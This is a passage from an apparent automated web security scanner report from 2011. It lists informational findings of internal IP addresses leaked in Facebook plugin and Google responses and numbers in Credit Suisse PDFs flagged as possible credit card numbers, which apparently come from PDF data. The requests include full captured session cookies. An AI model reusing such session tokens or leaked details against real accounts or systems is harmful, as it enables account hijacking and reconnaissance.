GET /plugins/like.php?api_key=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df21e46950b6468c%26origin%3Dhttp%253A%252F%252Fdownload.cnet.com%252Ff749aca5928b3a%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=http%3A%2F%2Fwww.facebook.com%2Fcnet%23reg&layout=button_count&locale=en_US&node_type=link&ref=fblike&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://download.cnet.com/windows/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.77. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.64.211.44

Request

GET /plugins/like.php?href=http://lawyerist.com/when-and-how-to-send-an-e-mail/&layout=button_count&show_faces=false&width=85&action=like&colorscheme=light&height=21 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://lawyerist.com/when-and-how-to-send-an-e-mail/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

15.78. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.254.79

Request

GET /plugins/like.php?action=recommend&api_key=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df154e00b24133be%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ffd9cdd4a14686%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&font=arial&href=http%3A%2F%2Fnews.cnet.com%2F8301-1009_3-20108041-83%2Fmissile-maker-sees-network-hacked%2F&layout=button_count&locale=en_US&node_type=link&ref=fbrecT&sdk=joey&show_faces=false&width=130 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://news.cnet.com/security/?tag=hdr;snav
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.79. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.247.97

Request

Response

15.80. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.64.238.63

Request

GET /plugins/like.php?href=http://lawyerist.com/clio-sync-outlook/&layout=button_count&show_faces=false&width=85&action=like&colorscheme=light&height=21 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://lawyerist.com/clio-sync-outlook/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

15.81. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.2.57

Request

GET /plugins/like.php?app_id=215820841793511&href=http%3A%2F%2Fwww.itworld.com%2Fit-managementstrategy%2F204223%2Fcyber-harassers-you-can-hide-you-can-t-run&send=false&layout=button_count&width=90&show_faces=false&action=like&colorscheme=light&font=arial&height=21 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.82. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.21.41

Request

GET /plugins/like.php?api_key=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df3b0bee6ab15e9c%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ff31e9240e8a9c24%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=http%3A%2F%2Fwww.facebook.com%2Fcnet&layout=button_count&locale=en_US&node_type=link&ref=fbliketool&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://news.cnet.com/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.83. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.141.67

Request

GET /plugins/like.php?href=www.facebook.com%2Fpages/Lifehacker-Australia/102231899828935&layout=button_count&show_faces=true&width=90&action=like&font=tahoma&colorscheme=light&height=21 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.lifehacker.com.au/2011/09/australian-companies-concentrating-on-mobile-site-development-at-last/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.84. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.64.249.44

Request

GET /plugins/like.php?href=http://lawyerist.com/top-tech-upgrades-lab-report/&layout=box_count&show_faces=false&width=60&action=like&colorscheme=light&height=45 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://lawyerist.com/top-tech-upgrades-lab-report/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

15.85. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.54.92.46

Request

GET /plugins/like.php?href=http://www.cio.com/article/689607/Tech_Titans_We_Will_Miss_and_Ones_Better_Off_Dismissed&layout=button_count&show_faces=false&width=80&action=like&font&colorscheme=light&height=25 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.cio.com/article/689607/Tech_Titans_We_Will_Miss_and_Ones_Better_Off_Dismissed
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.86. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.87.125

Request

GET /plugins/like.php?href=http%3A%2F%2Fwww.lifehacker.com.au%2F2011%2F09%2Faustralian-companies-concentrating-on-mobile-site-development-at-last%2F&send=false&layout=button_count&width=90&show_faces=false&action=like&colorscheme=light&font&height=21 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.lifehacker.com.au/2011/09/australian-companies-concentrating-on-mobile-site-development-at-last/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.87. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.249.41

Request

GET /plugins/like.php?action=recommend&api_key=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df12ba6acc2637c4%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ffd9cdd4a14686%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&font=arial&href=http%3A%2F%2Fnews.cnet.com%2F8301-27080_3-20107611-245%2Fitalian-researcher-finds-more-scada-holes%2F&layout=button_count&locale=en_US&node_type=link&ref=fbrecT&sdk=joey&show_faces=false&width=130 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://news.cnet.com/security/?tag=hdr;snav
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.88. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.11.91

Request

GET /plugins/like.php?href=http%3A%2F%2Fwww.facebook.com%2Fcnet&layout=button_count&show_faces=false&width=120&action=like&font&colorscheme=light&height=21 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://news.cnet.com/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.89. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.54.178.32

Request

GET /plugins/like.php?channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df31d09e904%26origin%3Dhttp%253A%252F%252Ftwittercounter.com%252Ff26d32bcd4%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&font=lucida%20grande&href=http%3A%2F%2Fwww.facebook.com%2Fpages%2FTwitter-Counter%2F109369489135166&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=100 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://twittercounter.com/pages/buttons
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

15.90. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.20.71

Request

GET /plugins/like.php?api_key=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df2e4d13d522ef04%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ff31e9240e8a9c24%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=http%3A%2F%2Fwww.facebook.com%2Fcnet%23reg&layout=button_count&locale=en_US&node_type=link&ref=fblike&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://news.cnet.com/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.91. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.64.186.65

Request

GET /plugins/like.php?href=http://lawyerist.com/communicate-opposing-counsel/&layout=box_count&show_faces=false&width=60&action=like&colorscheme=light&height=45 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://lawyerist.com/communicate-opposing-counsel/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

15.92. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.191.63

Request

Response

15.93. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.16.77

Request

Response

15.94. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.249.39

Request

Response

15.95. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.3.81

Request

GET /plugins/likebox.php?id=186795764687008&width=260&connections=10&stream=false&header=false&height=255 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.techwev.com/category/apple/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.96. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.9.23

Request

Response

15.97. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.204.58

Request

GET /plugins/likebox.php?id=103915706315105&width=300&connections=10&stream=false&header=true&height=287 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://techtrickz.com/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.98. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.180.49

Request

Response

15.99. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.177.46

Request

Response

15.100. http://www.facebook.com/plugins/recommendations.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/recommendations.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.78.122

Request

Response

15.101. http://www.facebook.com/plugins/recommendations.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/recommendations.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.171.42

Request

GET /plugins/recommendations.php?site=www.zdnet.fr&width=480&height=600&header=false&font=verdana HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.zdnet.fr/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.102. http://www.google.com/sdch/sXoKgwNA.dct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/sdch/sXoKgwNA.dct

Issue detail

The following RFC 1918 IP address was disclosed in the response:

172.31.196.197

Request

GET /sdch/sXoKgwNA.dct HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PREF=ID=26ea7fef0a6cf43b:U=f5d01e2b2ce2e5f3:TM=1314742576:LM=1314798155:S=dIZk57crg6QHX-5i; HSID=AbppJa1_E7iMausjK; APISID=qfB18aLM4wkSRyYX/Aqw8quAKRHd7UuSmT; NID=51=mIeAi_BJiW80o5-UkWcKjFthqIayl4ofwCkkr5tCLyeEVJT5ggTfhss2g11zdOuIt-Hv9il_Hia-F6KLtiAoqwnGANxD2SU6BtvNGiXQ0002QmWyW7uUzO1rQ_23mKUx; SID=DQAAAO8AAAD7Xl0oDS_3Xy0JKwYeKgRjPyFqRf-B0ODOWTiDE99xOOc8RvdQGibPMhmcP610qN-DHB8k6z8ZKlplWLUKEP3dWEI72OUKY84U0zjZ2dOwJHOZWczA6xdlkRwrrTGTkQ6ClNLTQ4ONOC9gLOWYQ5zR2CljOq1RO-s4LLdPs6xoVlnnO6qY1kM7iyGUBole70mO999gxJRMDD84aZSLhlXLa_TFwj4UOugh1muMR40AyHJcRNGXDTOXCL27QwmaPSWsRZbzw7pybi4zMXxNEJkaJnnPm7S6PNHhmHFQ58RIqky0TX53BbS_4Obo4j-cWcY
If-Modified-Since: Sat, 17 Sep 2011 14:06:11 GMT

Response

HTTP/1.1 200 OK
Vary: Accept-Encoding
Content-Type: application/x-sdch-dictionary
Last-Modified: Tue, 20 Sep 2011 10:55:42 GMT
Date: Tue, 20 Sep 2011 11:48:30 GMT
Expires: Tue, 20 Sep 2011 11:48:30 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 132040
X-XSS-Protection: 1; mode=block

Domain: .google.com
Path: /search

<!doctype html> <head> <title> - Google Search</title> <script>window.google={kEI:" WJ_5AKi8-ooAE",getEI:function(a){var b;while(a&&!(a.getAttribute&&(b
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache: &hl=en&ct=clnk&gl=us" onmousedown="return rwt(this,'','','','1 clk(this,this.href,'','','',' rwt(this,'','','','14','AFQjCNGl clk(this,th
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache:4ihYA8ZxpjMJ:www.cardomain.com/+used+carH75rMPosXksJ:www.cars.com/+used+cary4a-lQGHU2cJ:www.vehix.com/+used+carOJ7l3PBi2ywJ:www.usedcars.com/+used+car &hl=en&ct=cl
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache: topics.nytimes.com/top/news/business/companies/ J:explore.live.com/windows-live- &hl=en&ct=clnk&gl=us" onmousedown="return rwt(this,'','','','clk(this,this.hr
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache:J:www.motortrend.com/new_cars/01/J:www.google.com/finance%3Fcid%3D6_AF_a1pfx4YJ:www.craigslist.com/+ &hl=en&ct=clnk&gl=us" onmousedown="return this.hr
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache:7xB4UhrmMUQJ:www.moviefone.com/+aol &hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','',' clk(this,this.href,'','','',' Q')">
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache:J:www.google.com/finance%3Fcid%3D&hl=en&ct=clnk&gl=us','','','',' &hl=en&ct=clnk&gl=us','','','',' &cd= &hl=en&ct=clnk&gl=us" onmousedown="return rwt
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache: www.edmunds.com/used-cars/+used+carsVsBuRBChf0J:www.carmax.com/enus/car-search/used-cars.html+used+car &hl=en&ct=clnk&gl=us" onmousedown="retur
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache: &hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','',' A')">
...[SNIP]...

16. Credit card numbers disclosed previous next
There are 7 instances of this issue:

https://www.credit-suisse.com/investment_banking/doc/european_economics.pdf
https://www.credit-suisse.com/investment_banking/doc/global_economics_daily.pdf
https://www.credit-suisse.com/investment_banking/doc/global_economy_monthly_review.pdf
https://www.credit-suisse.com/investment_banking/doc/japan_economics_weekly.pdf
https://www.credit-suisse.com/investment_banking/doc/market_focus.pdf
https://www.credit-suisse.com/investment_banking/doc/us_economics_digest.pdf
http://www.goclio.com/resources/white_papers/Why%20Go%20Cloud%20-%20Five%20Reasons%20Why%20Lawyers%20Should%20Adopt%20Cloud-based%20Technology.pdf

Issue background

Responses containing credit card numbers may not represent any security vulnerability - for example, a number may belong to the logged-in user to whom it is displayed. You should verify whether the numbers identified are actually valid credit card numbers and whether their disclosure within the application is appropriate.

16.1. https://www.credit-suisse.com/investment_banking/doc/european_economics.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/doc/european_economics.pdf

Issue detail

The following credit card numbers were disclosed in the response:

5567785565560000
5925470547050100

Request

GET /investment_banking/doc/european_economics.pdf HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:02 GMT
Accept-Ranges: bytes
Content-Length: 209650
Content-Type: application/pdf
Last-Modified: Thu, 08 Sep 2011 19:05:18 GMT
Connection: close

%PDF-1.5%....
1 0 obj<</Contents 3 0 R/Type/Page/Parent 47 0 R/Thumb 37 0 R/Rotate 0/MediaBox[0 0 612 792]/CropBox[0 0 612 792]/Resources 2 0 R>>endobj2 0 obj<</Font<</TT2 58 0 R/TT4 59 0 R/TT6 65
...[SNIP]...
ntDescriptor 29 0 R/Widths[228 0 0 0 0 0 0 0 0 0 0 0 228 273 228 0 456 456 456 456 456 456 456 456 456 456 0 0 0 0 479 0 0 592 592 592 592 547 501 638 592 228 456 592 501 683 592 638 547 0 592 547 501 592 547 0 547 0 501 0 0 0 0 0 0 456 0 456 501 456 273 501 501 228 0 456 228 729 501 501 501 0 319 456 273 501 456 638 456 456]>
...[SNIP]...
556 556 333 0 0 0 0 0 0 722 722 722 722 667 0 778 722 278 556 0 0 0 0 0 667 0 722 667 611 0 0 944 0 0 0 0 0 0 0 0 0 556 611 556 611 556 333 611 611 278 278 556 278 889 611 611 611 611 389 556 333 611 556 778 556 556 0 0 0 0 0 0 556 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 278 500 500]>
...[SNIP]...

16.2. https://www.credit-suisse.com/investment_banking/doc/global_economics_daily.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/investment_banking/doc/global_economics_daily.pdf

Issue detail

The following credit card number was disclosed in the response:

5925470547050100

Request

GET /investment_banking/doc/global_economics_daily.pdf HTTP/1.1
